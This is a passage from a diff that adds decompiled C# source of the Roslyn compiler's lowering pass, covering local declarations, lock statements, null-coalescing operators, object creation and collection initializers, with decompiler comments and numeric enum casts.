(SyntaxNode)(object)localDeclarationStatementSyntax.Declaration.Variables[0]; + } + BoundStatement rewrittenLocalDeclaration = new BoundExpressionStatement(syntax, _factory.AssignmentExpression(syntax, new BoundLocal(syntax, localSymbol, null, localSymbol.Type), rewrittenInitializer, localSymbol.Type, localSymbol.IsRef), hasErrors); + return InstrumentLocalDeclarationIfNecessary(originalOpt, localSymbol, rewrittenLocalDeclaration); + } + + private BoundStatement InstrumentLocalDeclarationIfNecessary(BoundLocalDeclaration? originalOpt, LocalSymbol localSymbol, BoundStatement rewrittenLocalDeclaration) + { + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + if (Instrument && originalOpt != null && !originalOpt.WasCompilerGenerated && !localSymbol.IsConst && (originalOpt.Syntax.Kind() == SyntaxKind.VariableDeclarator || (originalOpt.Syntax.Kind() == SyntaxKind.LocalDeclarationStatement && ((LocalDeclarationStatementSyntax)(object)originalOpt.Syntax).Declaration.Variables.Count == 1))) + { + rewrittenLocalDeclaration = Instrumenter.InstrumentUserDefinedLocalInitialization(originalOpt, rewrittenLocalDeclaration); + } + return rewrittenLocalDeclaration; + } + + public sealed override BoundNode VisitOutVariablePendingInference(OutVariablePendingInference node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/LocalRewriter/LocalRewriter_LocalDeclaration.cs", 89); + } + + public override BoundNode VisitLockStatement(BoundLockStatement node) + { + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Invalid comparison between Unknown and I4 + LockStatementSyntax lockStatementSyntax = (LockStatementSyntax)(object)node.Syntax; + BoundExpression boundExpression = VisitExpression(node.Argument); + BoundStatement boundStatement = VisitStatement(node.Body); + TypeSymbol typeSymbol = boundExpression.Type; + if ((object)typeSymbol == null) + { + typeSymbol = _compilation.GetSpecialType((SpecialType)1); + boundExpression = MakeLiteral(boundExpression.Syntax, boundExpression.ConstantValueOpt, typeSymbol); + } + if ((int)typeSymbol.Kind == 17) + { + typeSymbol = _compilation.GetSpecialType((SpecialType)1); + boundExpression = MakeConversionNode(boundExpression.Syntax, boundExpression, Conversion.Boxing, typeSymbol, @checked: false, explicitCastInCode: false, boundExpression.ConstantValueOpt); + } + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(boundExpression, out store, (RefKind)0, (SynthesizedLocalKind)3, isKnownToReferToTempIfReferenceType: false, (SyntaxNode?)(object)lockStatementSyntax); + BoundStatement lockTargetCapture = new BoundExpressionStatement((SyntaxNode)(object)lockStatementSyntax, store); + MethodSymbol symbol; + BoundExpression expression = ((!TryGetWellKnownTypeMember((SyntaxNode?)(object)lockStatementSyntax, (WellKnownMember)144, out symbol)) ? ((BoundExpression)new BoundBadExpression((SyntaxNode)(object)lockStatementSyntax, LookupResultKind.NotInvocable, ImmutableArray.Empty, ImmutableArray.Create((BoundExpression)boundLocal), ErrorTypeSymbol.UnknownResultType)) : ((BoundExpression)BoundCall.Synthesized((SyntaxNode)(object)lockStatementSyntax, null, (ThreeState)0, symbol, boundLocal))); + BoundStatement boundStatement2 = new BoundExpressionStatement((SyntaxNode)(object)lockStatementSyntax, expression); + if ((TryGetWellKnownTypeMember((SyntaxNode?)(object)lockStatementSyntax, (WellKnownMember)143, out var symbol2, isOptional: true) || TryGetWellKnownTypeMember((SyntaxNode?)(object)lockStatementSyntax, (WellKnownMember)142, out symbol2)) && symbol2.ParameterCount == 2) + { + TypeSymbol specialType = _compilation.GetSpecialType((SpecialType)7); + BoundAssignmentOperator store2; + BoundLocal boundLocal2 = _factory.StoreToTemp(MakeLiteral(boundExpression.Syntax, ConstantValue.False, specialType), out store2, (RefKind)0, (SynthesizedLocalKind)2, isKnownToReferToTempIfReferenceType: false, (SyntaxNode?)(object)lockStatementSyntax); + BoundStatement item = new BoundExpressionStatement((SyntaxNode)(object)lockStatementSyntax, store2); + BoundStatement item2 = new BoundExpressionStatement((SyntaxNode)(object)lockStatementSyntax, BoundCall.Synthesized((SyntaxNode)(object)lockStatementSyntax, null, (ThreeState)0, symbol2, boundLocal, boundLocal2)); + boundStatement2 = RewriteIfStatement((SyntaxNode)(object)lockStatementSyntax, boundLocal2, boundStatement2, null, node.HasErrors); + return new BoundBlock((SyntaxNode)(object)lockStatementSyntax, ImmutableArray.Create(boundLocal.LocalSymbol, boundLocal2.LocalSymbol), ImmutableArray.Create(InstrumentLockTargetCapture(node, lockTargetCapture), item, new BoundTryStatement((SyntaxNode)(object)lockStatementSyntax, BoundBlock.SynthesizedNoLocals((SyntaxNode)(object)lockStatementSyntax, ImmutableArray.Create(item2, boundStatement)), ImmutableArray.Empty, BoundBlock.SynthesizedNoLocals((SyntaxNode)(object)lockStatementSyntax, boundStatement2)))); + } + BoundExpression expression2 = (((object)symbol2 == null) ? ((BoundExpression)new BoundBadExpression((SyntaxNode)(object)lockStatementSyntax, LookupResultKind.NotInvocable, ImmutableArray.Empty, ImmutableArray.Create((BoundExpression)boundLocal), ErrorTypeSymbol.UnknownResultType)) : ((BoundExpression)BoundCall.Synthesized((SyntaxNode)(object)lockStatementSyntax, null, (ThreeState)0, symbol2, boundLocal))); + BoundStatement item3 = new BoundExpressionStatement((SyntaxNode)(object)lockStatementSyntax, expression2); + return new BoundBlock((SyntaxNode)(object)lockStatementSyntax, ImmutableArray.Create(boundLocal.LocalSymbol), ImmutableArray.Create(InstrumentLockTargetCapture(node, lockTargetCapture), item3, new BoundTryStatement((SyntaxNode)(object)lockStatementSyntax, BoundBlock.SynthesizedNoLocals((SyntaxNode)(object)lockStatementSyntax, boundStatement), ImmutableArray.Empty, BoundBlock.SynthesizedNoLocals((SyntaxNode)(object)lockStatementSyntax, boundStatement2)))); + } + + private BoundStatement InstrumentLockTargetCapture(BoundLockStatement original, BoundStatement lockTargetCapture) + { + if (!Instrument) + { + return lockTargetCapture; + } + return Instrumenter.InstrumentLockTargetCapture(original, lockTargetCapture); + } + + public override BoundNode? VisitMultipleLocalDeclarations(BoundMultipleLocalDeclarations node) + { + return VisitMultipleLocalDeclarationsBase(node); + } + + public override BoundNode? VisitUsingLocalDeclarations(BoundUsingLocalDeclarations node) + { + return VisitMultipleLocalDeclarationsBase(node); + } + + private BoundNode? VisitMultipleLocalDeclarationsBase(BoundMultipleLocalDeclarationsBase node) + { + ArrayBuilder val = null; + ImmutableArray.Enumerator enumerator = node.LocalDeclarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundLocalDeclaration current = enumerator.Current; + BoundNode boundNode = VisitLocalDeclaration(current); + if (boundNode != null) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(); + } + val.Add((BoundStatement)boundNode); + } + } + if (val != null) + { + return BoundStatementList.Synthesized(node.Syntax, node.HasErrors, val.ToImmutableAndFree()); + } + return null; + } + + public override BoundNode VisitNullCoalescingAssignmentOperator(BoundNullCoalescingAssignmentOperator node) + { + SyntaxNode syntax = node.Syntax; + ArrayBuilder temps = ArrayBuilder.GetInstance(); + ArrayBuilder stores = ArrayBuilder.GetInstance(); + BoundExpression transformedLHS = TransformCompoundAssignmentLHS(node.LeftOperand, isRegularCompoundAssignment: false, stores, temps, node.LeftOperand.HasDynamicType()); + BoundExpression lhsRead = MakeRValue(transformedLHS); + BoundExpression loweredRight = VisitExpression(node.RightOperand); + if (!node.IsNullableValueTypeAssignment) + { + return rewriteNullCoalscingAssignmentStandard(); + } + return rewriteNullCoalescingAssignmentForValueType(); + BoundExpression rewriteNullCoalescingAssignmentForValueType() + { + BoundExpression leftOperand = node.LeftOperand; + if (!TryGetNullableMethod(leftOperand.Syntax, leftOperand.Type, (SpecialMember)114, out MethodSymbol result)) + { + return BadExpression(node); + } + if (!TryGetNullableMethod(leftOperand.Syntax, leftOperand.Type, (SpecialMember)116, out MethodSymbol result2)) + { + return BadExpression(node); + } + if (lhsRead.Kind == BoundKind.Call) + { + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(lhsRead, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + stores.Add((BoundExpression)store); + temps.Add(boundLocal.LocalSymbol); + lhsRead = boundLocal; + } + BoundAssignmentOperator store2; + BoundLocal boundLocal2 = _factory.StoreToTemp(BoundCall.Synthesized(leftOperand.Syntax, lhsRead, (ThreeState)0, result), out store2, (RefKind)0, (SynthesizedLocalKind)(-2)); + stores.Add((BoundExpression)store2); + temps.Add(boundLocal2.LocalSymbol); + BoundExpression item = MakeAssignmentOperator(node.Syntax, boundLocal2, loweredRight, node.Type, used: true, isChecked: false, isCompoundAssignment: false); + BoundExpression item2 = MakeAssignmentOperator(node.Syntax, transformedLHS, MakeConversionNode(boundLocal2, transformedLHS.Type, @checked: false, acceptFailingConversion: false, markAsChecked: true), node.LeftOperand.Type, used: true, isChecked: false, isCompoundAssignment: false); + BoundCall condition = BoundCall.Synthesized(leftOperand.Syntax, lhsRead, (ThreeState)0, result2); + BoundExpression alternative = _factory.Sequence(ImmutableArray.Empty, ImmutableArray.Create(item, item2), boundLocal2); + BoundExpression result3 = _factory.Conditional(condition, boundLocal2, alternative, boundLocal2.Type); + return _factory.Sequence(temps.ToImmutableAndFree(), stores.ToImmutableAndFree(), result3); + } + BoundExpression rewriteNullCoalscingAssignmentStandard() + { + BoundExpression rewrittenRight = MakeAssignmentOperator(syntax, transformedLHS, loweredRight, node.LeftOperand.Type, used: true, isChecked: false, isCompoundAssignment: false); + BoundValuePlaceholder boundValuePlaceholder = new BoundValuePlaceholder(lhsRead.Syntax, lhsRead.Type); + BoundExpression boundExpression = MakeNullCoalescingOperator(syntax, lhsRead, rewrittenRight, boundValuePlaceholder, boundValuePlaceholder, BoundNullCoalescingOperatorResultKind.LeftType, node.LeftOperand.Type); + if (temps.Count != 0 || stores.Count != 0) + { + return new BoundSequence(syntax, temps.ToImmutableAndFree(), stores.ToImmutableAndFree(), boundExpression, boundExpression.Type); + } + return boundExpression; + } + } + + public override BoundNode VisitNullCoalescingOperator(BoundNullCoalescingOperator node) + { + BoundExpression rewrittenLeft = VisitExpression(node.LeftOperand); + BoundExpression rewrittenRight = VisitExpression(node.RightOperand); + TypeSymbol rewrittenResultType = VisitType(node.Type); + return MakeNullCoalescingOperator(node.Syntax, rewrittenLeft, rewrittenRight, node.LeftPlaceholder, node.LeftConversion, node.OperatorResultKind, rewrittenResultType); + } + + private BoundExpression MakeNullCoalescingOperator(SyntaxNode syntax, BoundExpression rewrittenLeft, BoundExpression rewrittenRight, BoundValuePlaceholder? leftPlaceholder, BoundExpression? leftConversion, BoundNullCoalescingOperatorResultKind resultKind, TypeSymbol? rewrittenResultType) + { + //IL_01ab: Unknown result type (might be due to invalid IL or missing references) + //IL_01b2: Invalid comparison between Unknown and I4 + if (_inExpressionLambda) + { + if (leftConversion is BoundConversion { Conversion: { IsIdentity: false } }) + { + leftConversion = ApplyConversion(leftConversion, leftPlaceholder, leftPlaceholder); + if (!(leftConversion is BoundConversion { Conversion: { Exists: not false } })) + { + return BadExpression(syntax, rewrittenResultType, rewrittenLeft, rewrittenRight); + } + } + return new BoundNullCoalescingOperator(syntax, rewrittenLeft, rewrittenRight, leftPlaceholder, leftConversion, resultKind, @checked: false, rewrittenResultType); + } + TypeSymbol type = rewrittenLeft.Type; + if ((object)type == null || type.IsReferenceType || type.IsValueType) + { + if (rewrittenLeft.IsDefaultValue()) + { + return rewrittenRight; + } + if (rewrittenLeft.ConstantValueOpt != (ConstantValue)null) + { + return GetConvertedLeftForNullCoalescingOperator(rewrittenLeft, leftPlaceholder, leftConversion, rewrittenResultType); + } + } + if (IsStringConcat(rewrittenLeft)) + { + return GetConvertedLeftForNullCoalescingOperator(rewrittenLeft, leftPlaceholder, leftConversion, rewrittenResultType); + } + Conversion conversion3; + if (rewrittenLeft.Type.IsReferenceType) + { + conversion3 = BoundNode.GetConversion(leftConversion, leftPlaceholder); + if (conversion3.IsImplicit && !conversion3.IsUserDefined) + { + rewrittenLeft = ApplyConversionIfNotIdentity(leftConversion, leftPlaceholder, rewrittenLeft); + return new BoundNullCoalescingOperator(syntax, rewrittenLeft, rewrittenRight, null, null, resultKind, @checked: false, rewrittenResultType); + } + } + conversion3 = BoundNode.GetConversion(leftConversion, leftPlaceholder); + bool flag = ((conversion3.IsIdentity || conversion3.Kind == ConversionKind.ExplicitNullable) ? true : false); + if (flag && rewrittenLeft is BoundLoweredConditionalAccess boundLoweredConditionalAccess && (boundLoweredConditionalAccess.WhenNullOpt == null || NullableNeverHasValue(boundLoweredConditionalAccess.WhenNullOpt))) + { + BoundExpression boundExpression = NullableAlwaysHasValue(boundLoweredConditionalAccess.WhenNotNull); + if (boundExpression != null) + { + BoundExpression boundExpression2 = rewrittenRight; + if (boundExpression2.Type.IsNullableType()) + { + boundExpression = boundLoweredConditionalAccess.WhenNotNull; + } + if (boundExpression2.IsDefaultValue() && (int)boundExpression2.Type.SpecialType != 17) + { + boundExpression2 = null; + } + return boundLoweredConditionalAccess.Update(boundLoweredConditionalAccess.Receiver, boundLoweredConditionalAccess.HasValueMethodOpt, boundExpression, boundExpression2, boundLoweredConditionalAccess.Id, boundLoweredConditionalAccess.ForceCopyOfNullableValueType, rewrittenResultType); + } + } + if (rewrittenLeft.Type.IsNullableType() && RemoveIdentityConversions(rewrittenRight).IsDefaultValue() && rewrittenRight.Type.Equals(rewrittenLeft.Type.GetNullableUnderlyingType(), (TypeCompareKind)63) && TryGetNullableMethod(rewrittenLeft.Syntax, rewrittenLeft.Type, (SpecialMember)114, out MethodSymbol result)) + { + return BoundCall.Synthesized(rewrittenLeft.Syntax, rewrittenLeft, (ThreeState)0, result); + } + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(rewrittenLeft, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundExpression rewrittenCondition = _factory.MakeNullCheck(syntax, boundLocal, BinaryOperatorKind.NotEqual); + BoundExpression convertedLeftForNullCoalescingOperator = GetConvertedLeftForNullCoalescingOperator(boundLocal, leftPlaceholder, leftConversion, rewrittenResultType); + BoundExpression value = RewriteConditionalOperator(syntax, rewrittenCondition, convertedLeftForNullCoalescingOperator, rewrittenRight, null, rewrittenResultType, isRef: false); + return new BoundSequence(syntax, ImmutableArray.Create(boundLocal.LocalSymbol), ImmutableArray.Create((BoundExpression)store), value, rewrittenResultType); + } + + private bool IsStringConcat(BoundExpression expression) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison between Unknown and I4 + if (expression.Kind != BoundKind.Call) + { + return false; + } + MethodSymbol method = ((BoundCall)expression).Method; + if (method.IsStatic && (int)method.ContainingType.SpecialType == 20 && ((object)method == _compilation.GetSpecialTypeMember((SpecialMember)1) || (object)method == _compilation.GetSpecialTypeMember((SpecialMember)2) || (object)method == _compilation.GetSpecialTypeMember((SpecialMember)3) || (object)method == _compilation.GetSpecialTypeMember((SpecialMember)5) || (object)method == _compilation.GetSpecialTypeMember((SpecialMember)6) || (object)method == _compilation.GetSpecialTypeMember((SpecialMember)7) || (object)method == _compilation.GetSpecialTypeMember((SpecialMember)4) || (object)method == _compilation.GetSpecialTypeMember((SpecialMember)8))) + { + return true; + } + return false; + } + + private static BoundExpression RemoveIdentityConversions(BoundExpression expression) + { + while (expression.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion = (BoundConversion)expression; + if (boundConversion.ConversionKind != ConversionKind.Identity) + { + return expression; + } + expression = boundConversion.Operand; + } + return expression; + } + + private BoundExpression GetConvertedLeftForNullCoalescingOperator(BoundExpression rewrittenLeft, BoundValuePlaceholder? leftPlaceholder, BoundExpression? leftConversion, TypeSymbol rewrittenResultType) + { + TypeSymbol type = rewrittenLeft.Type; + bool flag = leftPlaceholder != null && leftPlaceholder.Type?.IsNullableType() == true; + if (!TypeSymbol.Equals(type, rewrittenResultType, (TypeCompareKind)0) && type.IsNullableType() && !flag) + { + TypeSymbol nullableUnderlyingType = type.GetNullableUnderlyingType(); + rewrittenLeft = BoundCall.Synthesized(method: UnsafeGetNullableMethod(rewrittenLeft.Syntax, type, (SpecialMember)114), syntax: rewrittenLeft.Syntax, receiverOpt: rewrittenLeft, initialBindingReceiverIsSubjectToCloning: (ThreeState)0); + if (TypeSymbol.Equals(nullableUnderlyingType, rewrittenResultType, (TypeCompareKind)0)) + { + return rewrittenLeft; + } + } + rewrittenLeft = ApplyConversionIfNotIdentity(leftConversion, leftPlaceholder, rewrittenLeft); + return rewrittenLeft; + } + + public override BoundNode VisitDynamicObjectCreationExpression(BoundDynamicObjectCreationExpression node) + { + ImmutableArray loweredArguments = VisitList(node.Arguments); + BoundExpression boundExpression = _dynamicFactory.MakeDynamicConstructorInvocation(node.Syntax, node.Type, loweredArguments, node.ArgumentNamesOpt, node.ArgumentRefKindsOpt).ToExpression(); + if (node.InitializerExpressionOpt == null || node.InitializerExpressionOpt.HasErrors) + { + return boundExpression; + } + return MakeExpressionWithInitializer(node.Syntax, boundExpression, node.InitializerExpressionOpt, node.Type); + } + + public override BoundNode VisitObjectCreationExpression(BoundObjectCreationExpression node) + { + BoundExpression rewrittenReceiver = null; + ImmutableArray argumentRefKindsOpt = node.ArgumentRefKindsOpt; + ArrayBuilder tempsOpt = null; + ImmutableArray rewrittenArguments = VisitArgumentsAndCaptureReceiverIfNeeded(ref rewrittenReceiver, ReceiverCaptureMode.Default, node.Arguments, node.Constructor, node.ArgsToParamsOpt, argumentRefKindsOpt, null, ref tempsOpt); + rewrittenArguments = MakeArguments(node.Syntax, rewrittenArguments, node.Constructor, node.Expanded, node.ArgsToParamsOpt, ref argumentRefKindsOpt, ref tempsOpt); + ImmutableArray locals = tempsOpt.ToImmutableAndFree(); + BoundExpression boundExpression; + if (_inExpressionLambda) + { + if (!locals.IsDefaultOrEmpty) + { + throw ExceptionUtilities.UnexpectedValue((object)locals.Length); + } + boundExpression = node.UpdateArgumentsAndInitializer(rewrittenArguments, argumentRefKindsOpt, MakeObjectCreationInitializerForExpressionTree(node.InitializerExpressionOpt), node.Constructor.ContainingType); + if (node.Type.IsInterfaceType()) + { + boundExpression = MakeConversionNode(boundExpression, node.Type, @checked: false); + } + return boundExpression; + } + boundExpression = node.UpdateArgumentsAndInitializer(rewrittenArguments, argumentRefKindsOpt, null, node.Constructor.ContainingType); + if (node.Constructor.IsDefaultValueTypeConstructor()) + { + boundExpression = new BoundDefaultExpression(boundExpression.Syntax, boundExpression.Type); + } + if (!locals.IsDefaultOrEmpty) + { + boundExpression = new BoundSequence(node.Syntax, locals, ImmutableArray.Empty, boundExpression, node.Type); + } + if (node.Type.IsInterfaceType()) + { + boundExpression = MakeConversionNode(boundExpression, node.Type, @checked: false); + } + if (Instrument) + { + boundExpression = Instrumenter.InstrumentObjectCreationExpression(node, boundExpression); + } + if (node.InitializerExpressionOpt == null || node.InitializerExpressionOpt.HasErrors) + { + return boundExpression; + } + return MakeExpressionWithInitializer(node.Syntax, boundExpression, node.InitializerExpressionOpt, node.Type); + } + + public override BoundNode VisitWithExpression(BoundWithExpression withExpr) + { + TypeSymbol type = withExpr.Type; + BoundExpression receiver = withExpr.Receiver; + BoundExpression boundExpression = VisitExpression(receiver); + if (type.IsAnonymousType) + { + AnonymousTypeManager.AnonymousTypePublicSymbol anonymousTypePublicSymbol = (AnonymousTypeManager.AnonymousTypePublicSymbol)type; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(boundExpression, out store, (RefKind)0, (SynthesizedLocalKind)(-2)); + instance2.Add(boundLocal.LocalSymbol); + instance.Add((BoundExpression)store); + BoundExpression value = _factory.New((NamedTypeSymbol)anonymousTypePublicSymbol, getAnonymousTypeValues(withExpr, boundLocal, anonymousTypePublicSymbol, instance, instance2)); + return new BoundSequence(withExpr.Syntax, instance2.ToImmutableAndFree(), instance.ToImmutableAndFree(), value, type); + } + return MakeExpressionWithInitializer(rewrittenExpression: (!type.IsValueType) ? _factory.Convert(type, _factory.Call(boundExpression, withExpr.CloneMethod)) : boundExpression, syntax: withExpr.Syntax, initializerExpression: withExpr.InitializerExpression, type: type); + ImmutableArray getAnonymousTypeValues(BoundWithExpression boundWithExpression, BoundExpression oldValue, AnonymousTypeManager.AnonymousTypePublicSymbol anonymousType, ArrayBuilder sideEffects, ArrayBuilder temps) + { + ArrayBuilder instance3 = ArrayBuilder.GetInstance(anonymousType.Properties.Length, (BoundExpression)null); + ImmutableArray.Enumerator enumerator = boundWithExpression.InitializerExpression.Initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundAssignmentOperator boundAssignmentOperator = (BoundAssignmentOperator)enumerator.Current; + BoundObjectInitializerMember obj = (BoundObjectInitializerMember)boundAssignmentOperator.Left; + BoundExpression argument = VisitExpression(boundAssignmentOperator.Right); + BoundAssignmentOperator store2; + BoundLocal boundLocal2 = _factory.StoreToTemp(argument, out store2, (RefKind)0, (SynthesizedLocalKind)(-2)); + temps.Add(boundLocal2.LocalSymbol); + sideEffects.Add((BoundExpression)store2); + Symbol memberSymbol = obj.MemberSymbol; + instance3[memberSymbol.MemberIndexOpt.Value] = boundLocal2; + } + ArrayBuilder instance4 = ArrayBuilder.GetInstance(anonymousType.Properties.Length); + ImmutableArray.Enumerator enumerator2 = anonymousType.Properties.GetEnumerator(); + while (enumerator2.MoveNext()) + { + AnonymousTypeManager.AnonymousTypePropertySymbol current = enumerator2.Current; + BoundExpression boundExpression2 = instance3[current.MemberIndexOpt.Value]; + if (boundExpression2 != null) + { + instance4.Add(boundExpression2); + } + else + { + instance4.Add(_factory.Property(oldValue, (PropertySymbol)current)); + } + } + instance3.Free(); + return instance4.ToImmutableAndFree(); + } + } + + [return: NotNullIfNotNull("initializerExpressionOpt")] + private BoundObjectInitializerExpressionBase? MakeObjectCreationInitializerForExpressionTree(BoundObjectInitializerExpressionBase? initializerExpressionOpt) + { + if (initializerExpressionOpt != null && !initializerExpressionOpt.HasErrors) + { + ImmutableArray newInitializers = MakeObjectOrCollectionInitializersForExpressionTree(initializerExpressionOpt); + return UpdateInitializers(initializerExpressionOpt, newInitializers); + } + return null; + } + + private BoundExpression MakeExpressionWithInitializer(SyntaxNode syntax, BoundExpression rewrittenExpression, BoundExpression initializerExpression, TypeSymbol type) + { + BoundAssignmentOperator store; + BoundLocal boundLocal = _factory.StoreToTemp(rewrittenExpression, out store, (RefKind)0, (SynthesizedLocalKind)(-2), isKnownToReferToTempIfReferenceType: true); + ArrayBuilder dynamicSiteInitializers = null; + ArrayBuilder temps = null; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + AddObjectOrCollectionInitializers(ref dynamicSiteInitializers, ref temps, instance, boundLocal, initializerExpression); + int num = dynamicSiteInitializers?.Count ?? 0; + ArrayBuilder instance2 = ArrayBuilder.GetInstance(1 + num + instance.Count); + instance2.Add((BoundExpression)store); + if (num > 0) + { + instance2.AddRange(dynamicSiteInitializers); + dynamicSiteInitializers.Free(); + } + instance2.AddRange(instance); + instance.Free(); + ImmutableArray locals; + if (temps == null) + { + locals = ImmutableArray.Create(boundLocal.LocalSymbol); + } + else + { + temps.Insert(0, boundLocal.LocalSymbol); + locals = temps.ToImmutableAndFree(); + } + return new BoundSequence(syntax, locals, instance2.ToImmutableAndFree(), boundLocal, type); + } + + public override BoundNode VisitNewT(BoundNewT node) + { + if (_inExpressionLambda) + { + return node.Update(MakeObjectCreationInitializerForExpressionTree(node.InitializerExpressionOpt), node.WasTargetTyped, node.Type); + } + BoundExpression boundExpression = MakeNewT(node.Syntax, (TypeParameterSymbol)node.Type); + if (node.InitializerExpressionOpt == null || node.InitializerExpressionOpt.HasErrors) + { + return boundExpression; + } + return MakeExpressionWithInitializer(node.Syntax, boundExpression, node.InitializerExpressionOpt, boundExpression.Type); + } + + private BoundExpression MakeNewT(SyntaxNode syntax, TypeParameterSymbol typeParameter) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + if (!TryGetWellKnownTypeMember(syntax, (WellKnownMember)139, out var symbol)) + { + return new BoundDefaultExpression(syntax, typeParameter, hasErrors: true); + } + symbol = symbol.Construct(ImmutableArray.Create((TypeSymbol)typeParameter)); + return new BoundCall(syntax, null, (ThreeState)0, symbol, ImmutableArray.Empty, default(ImmutableArray), default(ImmutableArray), isDelegateCall: false, expanded: false, invokedAsExtensionMethod: false, default(ImmutableArray), default(BitVector), LookupResultKind.Viable, typeParameter); + } + + public override BoundNode VisitNoPiaObjectCreationExpression(BoundNoPiaObjectCreationExpression node) + { + SyntaxNode syntax = _factory.Syntax; + _factory.Syntax = node.Syntax; + MethodSymbol methodSymbol = _factory.WellKnownMethod((WellKnownMember)40); + BoundExpression arg = (((object)methodSymbol == null) ? ((BoundExpression)new BoundBadExpression(node.Syntax, LookupResultKind.NotCreatable, ImmutableArray.Empty, ImmutableArray.Empty, ErrorTypeSymbol.UnknownResultType)) : ((BoundExpression)_factory.New(methodSymbol, _factory.Literal(node.GuidString)))); + MethodSymbol methodSymbol2 = _factory.WellKnownMethod((WellKnownMember)92, isOptional: true); + if ((object)methodSymbol2 == null) + { + methodSymbol2 = _factory.WellKnownMethod((WellKnownMember)41); + } + BoundExpression arg2 = (((object)methodSymbol2 == null) ? ((BoundExpression)new BoundBadExpression(node.Syntax, LookupResultKind.OverloadResolutionFailure, ImmutableArray.Empty, ImmutableArray.Empty, ErrorTypeSymbol.UnknownResultType)) : ((BoundExpression)_factory.Call(null, methodSymbol2, arg))); + MethodSymbol methodSymbol3 = _factory.WellKnownMethod((WellKnownMember)138); + BoundExpression boundExpression = (((object)methodSymbol3 == null) ? new BoundBadExpression(node.Syntax, LookupResultKind.OverloadResolutionFailure, ImmutableArray.Empty, ImmutableArray.Empty, node.Type) : _factory.Convert(node.Type, _factory.Call(null, methodSymbol3, arg2))); + _factory.Syntax = syntax; + if (node.InitializerExpressionOpt == null || node.InitializerExpressionOpt.HasErrors) + { + return boundExpression; + } + return MakeExpressionWithInitializer(node.Syntax, boundExpression, node.InitializerExpressionOpt, node.Type); + } + + private static BoundObjectInitializerExpressionBase UpdateInitializers(BoundObjectInitializerExpressionBase initializerExpression, ImmutableArray newInitializers) + { + if (!(initializerExpression is BoundObjectInitializerExpression boundObjectInitializerExpression)) + { + if (initializerExpression is BoundCollectionInitializerExpression boundCollectionInitializerExpression) + { + return boundCollectionInitializerExpression.Update(boundCollectionInitializerExpression.Placeholder, newInitializers, initializerExpression.Type); + } + throw ExceptionUtilities.UnexpectedValue((object)initializerExpression.Kind); + } + return boundObjectInitializerExpression.Update(boundObjectInitializerExpression.Placeholder, newInitializers, initializerExpression.Type); + } + + private void AddObjectOrCollectionInitializers(ref ArrayBuilder? dynamicSiteInitializers, ref ArrayBuilder? temps, ArrayBuilder result, BoundExpression rewrittenReceiver, BoundExpression initializerExpression) + { + if (!(initializerExpression is BoundObjectInitializerExpression boundObjectInitializerExpression)) + { + if (!(initializerExpression is BoundCollectionInitializerExpression boundCollectionInitializerExpression)) + { + throw ExceptionUtilities.UnexpectedValue((object)initializerExpression.Kind); + } + BoundObjectOrCollectionValuePlaceholder placeholder = boundCollectionInitializerExpression.Placeholder; + AddPlaceholderReplacement(placeholder, rewrittenReceiver); + AddCollectionInitializers(result, rewrittenReceiver, boundCollectionInitializerExpression.Initializers); + RemovePlaceholderReplacement(placeholder); + } + else + { + BoundObjectOrCollectionValuePlaceholder placeholder2 = boundObjectInitializerExpression.Placeholder; + AddPlaceholderReplacement(placeholder2, rewrittenReceiver); + AddObjectInitializers(ref dynamicSiteInitializers, ref temps, result, rewrittenReceiver, boundObjectInitializerExpression.Initializers); + RemovePlaceholderReplacement(placeholder2); + } + } + + private ImmutableArray MakeObjectOrCollectionInitializersForExpressionTree(BoundExpression initializerExpression) + { + switch (initializerExpression.Kind) + { + case BoundKind.ObjectInitializerExpression: + return VisitList(((BoundObjectInitializerExpression)initializerExpression).Initializers); + case BoundKind.CollectionInitializerExpression: + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + AddCollectionInitializers(instance, null, ((BoundCollectionInitializerExpression)initializerExpression).Initializers); + return instance.ToImmutableAndFree(); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)initializerExpression.Kind); + } + } + + private void AddCollectionInitializers(ArrayBuilder result, BoundExpression? rewrittenReceiver, ImmutableArray initializers) + { + ImmutableArray.Enumerator enumerator = initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + BoundExpression boundExpression = ((current.Kind != BoundKind.CollectionElementInitializer) ? MakeDynamicCollectionInitializer(rewrittenReceiver, (BoundDynamicCollectionElementInitializer)current) : MakeCollectionInitializer(rewrittenReceiver, (BoundCollectionElementInitializer)current)); + if (boundExpression != null) + { + result.Add(boundExpression); + } + } + } + + private BoundExpression MakeDynamicCollectionInitializer(BoundExpression rewrittenReceiver, BoundDynamicCollectionElementInitializer initializer) + { + ImmutableArray loweredArguments = VisitList(initializer.Arguments); + EmbedIfNeedTo(rewrittenReceiver, initializer.ApplicableMethods, initializer.Syntax); + return _dynamicFactory.MakeDynamicMemberInvocation("Add", rewrittenReceiver, ImmutableArray.Empty, loweredArguments, default(ImmutableArray), default(ImmutableArray), hasImplicitReceiver: false, resultDiscarded: true).ToExpression(); + } + + private BoundExpression? MakeCollectionInitializer(BoundExpression? rewrittenReceiver, BoundCollectionElementInitializer initializer) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Invalid comparison between Unknown and I4 + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_00e4: Unknown result type (might be due to invalid IL or missing references) + 